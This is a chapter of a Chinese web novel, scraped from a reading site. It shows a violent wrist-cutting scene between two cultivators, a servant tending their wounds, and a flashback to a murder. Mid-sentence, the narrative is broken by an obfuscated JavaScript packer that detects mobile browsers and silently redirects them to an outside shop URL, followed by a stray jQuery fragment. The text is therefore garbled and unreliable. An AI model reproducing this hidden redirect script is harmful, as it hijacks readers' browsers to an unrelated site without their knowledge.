文趣网 > 都市小说 > 反派成了我老婆 > 8. 记忆
    杜荣在过往岁月中其实已经受了很多次伤,更有甚时以自身为饵,谋求利益时也不是没有过,但此时此刻,他还是感觉到了一股钻心的疼。

    陆长绝仍是半跪着,他们都衣衫不整,仅仅几息前还纠缠在一起,身上气息靡靡,鼻尖血腥味萦绕。

    他胸膛一大片全部浸湿,胸口几乎破了一个血洞,泉水似的往外涌,那些血滴滴答答地落下来,沾湿了杜荣的身体。

    温热的、带着腥味。

    陆长绝垂眼,杜荣脸色煞白地喘着气,狼狈而神情惊惧。

    陆长绝看着他,扯唇:“是不是很疼?”他自言自语道:“应该是很疼。”

    他表情太奇怪,说不上来下一秒会不会继续给自己一刀,杜荣最接受不了的就是这庞大的不确定性,他崩溃般嘶吼:“有本事你现在就杀了我!来啊,给我一刀,冲着心脏戳,你要是今天没杀了我,我日后一定杀了你!”

    话音落下,陆长绝给了他一下。

    锋利瓷片划破手腕,血液顿时淙淙流出,陆长绝握着边缘锋利的薄片,眼中的情绪几乎要把他捅个对穿,锐利阴鸷:“好,我现在就杀了你!我看着你血怎么流光,我就在这看着你死!”

    杜荣伸手捂住手腕,感觉到一片热意。

    陆长绝单手拉起杜荣捂着伤口的胳膊,强硬挪开手掌,指缝贴在一起硬生生扣住拉开,杜荣感受到黏腻的血几乎瞬间加快流速,陆长绝死死盯着他,说出的话好像是刀子落下,他一字一句:“你不是想死吗?我要看看你求死的意愿多深!你要是血在我后面流光我就放你离开!”

    杜荣在这一刻看到了他眼中千钧重的恨意,这恨意像是狼的獠牙,锐利到几乎要将他吞没。

    我一定见过他。

    杜荣突然有这个念头,但他来不及细想,他感觉到自己的血在流出来,也感受到陆长绝的血在不断地流出来,他咬着牙不语。

    时间仿佛不断拉长,每一秒每一息都变得无比漫长,杜荣只觉得越来越冷,他甚至有些困倦,他想是要死了吗?

    听说人死的时候能看到走马灯,可他除了这畜生越来越白的脸之外什么也没看到,他真要死在这里吗?他咬住舌尖蜷缩掌心,藉由借着痛意让自己清醒,人在绝境之中爆发出了巨大的求生欲,他不知道如何甩开陆长绝的手,又怎么样快速地捂住伤口......

    陆长绝看到杜荣这个举动,慢慢地甩了甩手,他心中升起来巨石落定的安心感,他缓缓地吐出一口气来。

    *

    沧兰又来到这方院落。

    她垂眸,只是替眼前这位躺着的阆风仙尊涂药,对方睡在榻上,帷幕全部拉了下来,隔着纱罩只能看到绰绰人影,被子拉至下巴处,唯一露出来的是右手。

    手心伤得重,创面微微一动就渗出血,厚厚的药涂着裹住,几处伤全部敷好后再用纱布裹住。

    药膏据说能活死人肉白骨,是之前哪位领地主人进贡的,陆长绝坐在椅子上,沧兰看过去:“主子,三日一换。”

    陆长绝嗯了一声,视线没往这边望过来。

    沧兰说:“药膏只有三瓶,今日已经用了一瓶,剩下两瓶。”

    陆长绝顿住,抬眼看过来,沧兰语气清浅,毕恭毕敬:“属下不擅长处理这种伤,属下虽然也修习过丹药之法,但大多数时间都是处理灵脉之伤。”

    陆长绝表情一凝。

    沧兰姿态越发恭敬:“这种皮肉之伤着实配不上主上和仙尊,属下诚心希望主上能保重身体。”

    潜在意思,你们别再发癫了......

    陆长绝眉梢扬起来,面露厉色:“你这小丫头懂什么,是不是想造反?你怎么跟我说话的?”

    沧兰俯身行礼,色愈恭礼愈至,旋即退了出去。

    陆长绝闭上眼睛,揉了揉山根。

    窗户开了一条缝,有风飘进来,陆长绝吹了一会后把窗户开大了些,这会风反倒柔和了,他鬓角碎发飘扬着,静静坐在这里。

    杜荣浑浑噩噩地醒来。

    唇瓣干裂,喉咙发涩,像是在沙漠里行走已久的旅人,疲惫而焦渴。

    可当他看清头顶笼罩下来的帷帐时,他便不想喝了。

    身体上的疲累算不了什么,精神上的惫懒一下子席卷而来,只要醒着,他就要面对当下一切处境,面对这疯子一样的畜生。

    杜荣闭上眼睛,让他先逃避一下,只要一会,他就能重整旗鼓,再次想破局之法。

    右手处传来疼痛,杜荣在思绪里沉浮,瓷片穿透躯体的感觉太清晰,他想起来曾经杀过的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753804|209477||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人。

    秦暮算是一个。

    从他拜到砚玄门下,便开始越发勤勉恭敬,砚玄门下弟子众多,想要脱颖而出就得付出极大努力。

    根骨不是千里挑一又如何,旁人练四个时辰,他就能练八个时辰。

    内门弟子大多出生优渥,他便苦心孤诣地营造出温雅端方之姿,一来二去多年,他也笼络下来不少人心。

    唯独一事,让他久久不能释怀——山伏令。

    砚玄后来成为十二峰峰主之一,按照惯例,谁得山伏令谁便是下一代峰主。

    他那时候已经是三代弟子中头筹,论姿辈论能力论手腕样样不落人之下,门内都传砚玄也属意他,他面上不在意,其实也想合该给他。

    但山伏令最终落在秦暮之手。

    师弟师妹愣住,所有人目光都集中在他身上,他勉强调整好神色,带头躬身伏首,庆祝秦暮师弟喜得山伏令,转脸离开之时,他眉目闪过晦暗。

    秦暮来找过他几次,让他继续带着师门一众人冲锋陷阵,他百般推诿,最后也应下。

    这些年一直这样,他出力,秦暮摘果,似乎从当年入砚玄门下起就注定,他不过是一把刀。

    但是刀能伤人。

    历练途中,他和秦暮一同遭遇险境,秦暮修行不如他,受伤之后便找他庇护,他抬眼看着这无边云海,抬手轻而易举一击封喉。

    秦暮倒了下去,一张脸定格在不可置信地表情上,死不瞑目。

    他将人扶着,摆成遭遇魔族伏击的样子,看着这几十年面对的一张脸,伸手盖住他眼眸,轻声说:“师弟,走好。”

    那双眼睛,双目睁圆瞳孔骤缩,他仍记得手掌当时的触感,眼球几乎要突出来,好像是要在他手中爆开。

    杜荣手掌动了动,右手处又传来疼痛,过去的一张张面孔在他脑海里流传,他无动于衷地掠过,在意识里继续找陆长绝那张脸。

    他见过他,绝对见过。

    记忆又不断被翻起,无数面庞铺天盖地地袭来,他走走停停,在某一段记忆时顿住,终于停留了下来。

    他凝神细想,而后杜荣睁开眼,震天撼地的记忆浮现,他瞬间被冷汗浸湿。

    “醒了就别装睡了。”

    耳边一道声音贴着脸传来。